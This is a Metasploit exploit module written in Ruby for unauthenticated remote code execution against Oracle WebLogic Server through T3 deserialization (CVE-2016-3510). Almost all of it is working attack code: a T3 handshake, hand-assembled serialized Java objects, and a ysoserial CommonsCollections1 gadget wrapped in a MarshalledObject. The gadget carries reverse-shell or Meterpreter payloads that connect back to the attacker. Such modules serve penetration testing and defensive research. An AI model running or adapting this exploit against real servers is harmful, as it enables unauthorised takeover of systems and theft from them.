Oracle Weblogic Server Deserialization MarshalledObject Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::Tcp  
#include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',  
'Description' => %q{  
An unauthenticated attacker with network access to the Oracle Weblogic Server T3  
interface can send a serialized object (weblogic.corba.utils.MarshalledObject)  
to the interface to execute code on vulnerable hosts.  
},  
'Author' =>  
[  
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)  
'Jacob Baines', # Vulnerability Discovery - Tenable Network Security  
'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2016-3510 ']  
],  
'Privileged' => false,  
'Platform' => %w{ unix win solaris },  
'Targets' =>  
[  
[ 'Unix',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},  
'Payload' => {  
'Encoder' => 'cmd/ifs',  
'BadChars' => ' ',  
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}  
}  
],  
[ 'Windows',  
'Platform' => 'win',  
'Payload' => {},  
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}  
],  
[ 'Solaris',  
'Platform' => 'solaris',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},  
'Payload' => {  
'Space' => 2048,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 12 },  
'DisclosureDate' => 'Jul 19 2016'))  
  
register_options([Opt::RPORT(7001)])  
end  
  
=begin This check is currently incompatible with the Tcp mixin. :-(  
def check  
resp = send_request_cgi(  
'method' => 'GET',  
'uri' => '/console/login/LoginForm.jsp'  
)  
  
return CheckCode::Unknown unless resp && resp.code == 200  
  
unless resp.body.include?('Oracle WebLogic Server Administration Console')  
vprint_warning("Oracle WebLogic Server banner cannot be found")  
return CheckCode::Unknown  
end  
  
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body  
unless version  
vprint_warning("Oracle WebLogic Server version cannot be found")  
return CheckCode::Unknown  
end  
  
version = Gem::Version.new(version)  
vprint_good("Detected Oracle WebLogic Server Version: #{version}")  
case  
when version.to_s.start_with?('10.3')  
return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')  
when version.to_s.start_with?('12.1.3')  
return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')  
when version.to_s.start_with?('12.2')  
return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')  
end  
  
return CheckCode::Safe  
end  
=end  
  
def t3_handshake  
# retrieved from network traffic  
shake = "t3 12.2.1\n"  
shake << "AS:255\n"  
shake << "HL:19\n"  
shake << "MS:10000000\n\n"  
  
sock.put(shake)  
sleep(1)  
sock.get_once  
end  
  
def build_t3_request_object  
# T3 request serialized data  
# retrieved by watching network traffic  
# This is a proprietary, undocumented protocol  
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?  
data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'  
data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'  
data << '700000000a000000030000000000000006007070707070700000000a00000003'  
data << '0000000000000006007006'  
  
data << 'fe010000' # ----- separator -----  
  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '72001d' # className (29 bytes):  
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry  
data << '5461626c65456e747279' # (continued)  
data << '2f52658157f4f9ed' # serialVersionUID  
data << '0c00007870' # remainder of object header  
data << '72' # object header  
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo  
data << '65726e616c2e5061636b616765496e666f' # (continued)  
data << 'e6f723e7b8ae1ec9' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0008' # fieldCount = 8  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle  
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String  
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor  
data << '71007e0003' # (Handle) 0x007e0003  
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion  
data << '71007e0003' # (Handle) 0x007e0003  
data << '78707702000078' # block footers  
  
data << 'fe010000' # ----- separator -----  
  
data << 'aced0005' # JSO v5 header  
data << '7372' # object header  
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry  
data << '735461626c65456e747279' # (continued)  
data << '2f52658157f4f9ed' # serialVersionUID  
data << '0c' # EXTERNALIZABLE | BLOCKDATA  
data << '00007870' # remainder of object header  
data << '72' # object header  
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo  
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)  
data << '972245516452463e' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0003' # fieldCount = 3  
data << '5b0008' # array header (8 bytes)  
data << '7061636b61676573' # ARRAY NAME = 'packages'  
data << '740027' # TC_STRING className1 (39 bytes)  
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo  
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)  
data << '3b' # (continued)  
data << '4c000e' # object header (14 bytes)  
data << '72656c6561736556657273696f6e' # releaseVersion  
data << '740012' # TC_STRING (18 bytes)  
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes  
data << '5b0012' # array header (18 bytes)  
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;  
data << '740002' # TC_STRING (2 bytes)  
data << '5b42' # 0x5b42 = [B  
data << '78' # block footer  
  
data << '720024' # class (36 bytes)  
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo  
data << '7465726e616c2e5061636b616765496e666f' # (continued)  
data << 'e6f723e7b8ae1ec9' # serialVersionUID  
  
data << '02' # SC_SERIALIZABLE  
data << '0008' # fieldCount = 8  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle  
data << '71' # TC_REFERENCE  
data << '007e0004' # Handle = 0x007e0004  
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor  
data << '71' # TC_REFERENCE  
data << '007e0004' # Handle = 0x007e0004  
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion  
data << '71' # TC_REFERENCE  
data << '007e0004' # Handle = 0x007e0004  
data << '78' # class footer  
data << '70' # TC_NULL  
data << '77020000' # BLOCKDATA (2 bytes): 0x0000  
data << '78' # block footer  
  
data << 'fe010000' # ----- separator -----  
  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '72001d' # className (29 bytes):  
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry  
data << '5461626c65456e747279' # (continued)  
data << '2f52658157f4f9ed' # serialVersionUID  
data << '0c00007870' # remainder of object header  
data << '720021' # className (33 bytes)  
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo  
data << '65726e616c2e50656572496e666f' # (continued)  
data << '585474f39bc908f1' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0006' # fieldCount = 6  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '5b00087061636b61676573' # 5: Array: packages  
data << '740027' # TC_STRING (39 bytes)  
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;  
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)  
data << '3b' # (continued)  
data << '78' # block footer  
data << '720024' # class (36 bytes)  
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;  
data << '65726e616c2e56657273696f6e496e666f' # (continued)  
data << '972245516452463e' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0003' # fieldCount = 3  
data << '5b0008' # 0: Array  
data << '7061636b6167657371' # packages  
data << '007e0003' # Handle = 0x00730003  
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion  
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;  
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes  
data << '740002' # TC_STRING (2 bytes)  
data << '5b42' # VALUE = 0x5b42 = [B  
data << '78' # block footer  
data << '720024' # class: (36 bytes)  
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo  
data << '6e616c2e5061636b616765496e666f' # (continued)  
data << 'e6f723e7b8ae1ec9' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0008' # fieldCount = 8  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle  
data << '71' # TC_REFERENCE  
data << '007e0005' # Handle = 0x007e0005  
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor  
data << '71' # TC_REFERENCE  
data << '007e0005' # Handle = 0x007e0005  
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion  
data << '71' # TC_REFERENCE  
data << '007e0005' # Handle = 0x007e0005  
data << '78' # class footer  
data << '707702000078' # block footers  
  
data << 'fe00ff' # this cruft again. some kind of footer  
  
data << 'fe010000' # ----- separator -----  
  
# weblogic.rjvm.JVMID object  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '720013' # class (19 bytes)  
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'  
data << 'dc49c23ede121e2a' # serialVersionUID  
data << '0c' # EXTERNALIZABLE | BLOCKDATA  
data << '0000' # fieldCount = 0 (!!!)  
data << '78' # block footer  
data << '70' # NULL  
data << '7750' # block header (80 bytes)  
data << '21' # !  
data << '000000000000000000' # 9 NULL BYTES  
data << '0d' # \n  
data << '3139322e3136382e312e323237' # 192.168.1.227  
data << '00' # \0  
data << '12' # #TODO: UNKNOWN  
data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6  
data << '2e' # #TODO: UNKNOWN  
data << '656883348cd6000000070000' # #TODO: UNKNOWN  
data << rport.to_s(16).rjust(4, '0') # callback port  
data << 'ffffffffffffffffffffffffffffffffffffff' # #TODO: UNKNOWN  
data << 'ffffffffff' # #TODO: UNKNOWN  
data << '78' # block footer  
  
data << 'fe010000' # ----- separator -----  
  
# weblogic.rjvm.JVMID object  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '72' # class  
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID  
data << 'dc49c23ede121e2a' # serialVersionUID  
data << '0c' # EXTERNALIZABLE | BLOCKDATA  
data << '0000' # fieldCount = 0  
data << '78' # end block  
data << '70' # TC_NULL  
data << '77' # block header  
data << '20' # length = 32 bytes  
data << '0114dc42bd071a772700' # #TODO: UNKNOWN  
data << '0d' # \n  
data << '3234322e3231342e312e323534' # 242.214.1.254  
data << '61863d1d' # #TODO: UNKNOWN  
data << '00000000' # NULL BYTES  
data << '78' # block footer  
  
sock.put([data].pack('H*'))  
sleep(1)  
sock.get_once  
end  
  
def send_payload_objdata  
# payload creation  
if target.name == 'Windows'  
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})  
elsif target.name == 'Unix' || target.name == 'Solaris'  
nix_cmd = payload.encoded  
end  
  
# basic weblogic ClassTableEntry object (serialized)  
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?  
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'  
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'  
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'  
  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry  
payload << '73735461626c65456e747279' # (cont)  
payload << '2f52658157f4f9ed' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # remaining object header  
payload << '72' # class header  
payload << '00025b42' # Name: 0x5b42  
payload << 'acf317f8060854e0' # serialVersionUID  
payload << '02' # SERIALIZABLE  
payload << '0000' # fieldCount = 0  
payload << '7870' # class footer  
payload << '77' # block header  
payload << '020000' # contents = 0x0000  
payload << '78' # block footer  
  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry  
payload << '73735461626c65456e747279' # (cont)  
payload << '2f52658157f4f9ed' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # remaining object header  
payload << '72' # class header  
  
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;  
payload << '6563743b' # (cont)  
payload << '90ce589f1073296c' # serialVersionUID  
payload << '02' # SERIALIZABLE  
payload << '0000' # fieldCount = 0  
payload << '7870' # remaining object header  
payload << '77' # block header  
payload << '020000' # contents = 0x0000  
payload << '78' # block footer  
  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
  
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry  
payload << '73735461626c65456e747279' # (cont)  
payload << '2f52658157f4f9ed' # serialVersionUID  
payload << '0c' # SERIALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # block footer  
payload << '72' # class header  
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector  
payload << 'd9977d5b803baf01' # serialVersionUID  
payload << '03' # WRITE_METHOD | SERIALIZABLE  
payload << '0003' # fieldCount = 3  
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement  
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount  
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData  
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;  
payload << '743b' # (cont)  
payload << '7870' # remaining object header  
payload << '77' # block header  
payload << '020000' # contents = 0x0000  
payload << '78' # block footer  
  
payload << 'fe010000' # ----- separator -----  
  
# payload generated from ysoserial and wrapped in a MarshalledObject:  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class header  
  
payload << '00257765626c6f6769632e636f7262612e757469' # Name = weblogic.corba.utils.MarshalledObject  
payload << '6c732e4d61727368616c6c65644f626a656374' # (cont)  
payload << '592161d5f3d1dbb6' # serialVersionUID  
payload << '02' # SERIALIZABLE  
payload << '0002' # fieldCount = 2  
payload << '49000468617368' # 0: Int: hash  
payload << '5b00086f626a4279746573' # 1: Array: objBytes  
payload << '7400025b42' # Value: 0x5b42  
payload << '7870' # class footer  
# class Data:  
payload << '21210fdc' # hash = 0x21210fdc (555814876d)  
payload << '757200025b42' # objBytes = [ 0x5b42 ]  
payload << 'acf317f8060854e0' # serialVersionUID  
payload << '02' # SERIALIZABLE  
payload << '0000' # fieldCount = 0  
payload << '7870' # class footer  
payload << '0000' # arraySize (first two bytes)  
payload << (pwrshl.length + 1392).to_s(16).rjust(4,'0')# arraySize (lower two bytes)  
# 1392 is there because of the 0x0600 constant below  
  
# java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe  
ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",pwrshl)  
payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join  
  
# basic weblogic ImmutableServiceContext object (serialized)  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name = weblogic.rjvm.ImmutableServiceContext  
payload << '7461626c6553657276696365436f6e74657874' # (cont)  
payload << 'ddcba8706386f0ba' # serialVersionUID  
payload << '0c' # SERIALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '78' # remainder of object header  
payload << '72' # class header  
payload << '00297765626c6f6769632e726d692e70726f7669' # Name: weblogic.rmi.provider.BasicServiceContext  
payload << '6465722e426173696353657276696365436f6e74' # (cont)  
payload << '657874' # (cont)  
payload << 'e4632236c5d4a71e' # serialVersionUID  
payload << '0c' # SERIALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '78' # block footer  
payload << '70' # TC_NULL  
payload << '77' # block header  
payload << '020600' # Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW #TODO: WHY?  
payload << '73' # object header  
payload << '72' # class description  
payload << '00267765626c6f6769632e726d692e696e746572' # Name = weblogic.rmi.internal.MethodDescriptor  
payload << '6e616c2e4d6574686f6444657363726970746f72' # (cont)  
payload << '12485a828af7f67b' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '78' # block footer  
payload << '70' # TC_NULL  
payload << '77' # block header  
payload << '34002e61757468656e746963617465284c776562' # HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)  
payload << '6c6f6769632e73656375726974792e61636c2e55' # (cont)  
payload << '736572496e666f3b290000001b' # (cont)  
payload << '78' # block footer  
payload << '78' # object footer  
  
payload << 'fe00ff' # this cruft again. some kind of footer  
  
# sets the length of the stream  
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')  
data << payload  
  
sock.put([data].pack('H*'))  
sleep(1)  
sock.get_once  
end  
  
def exploit  
connect  
  
print_status('Sending handshake...')  
t3_handshake  
  
print_status('Sending T3 request object...')  
build_t3_request_object  
  
print_status('Sending client object payload...')  
send_payload_objdata  
  
handler  
disconnect  
end  
end  
`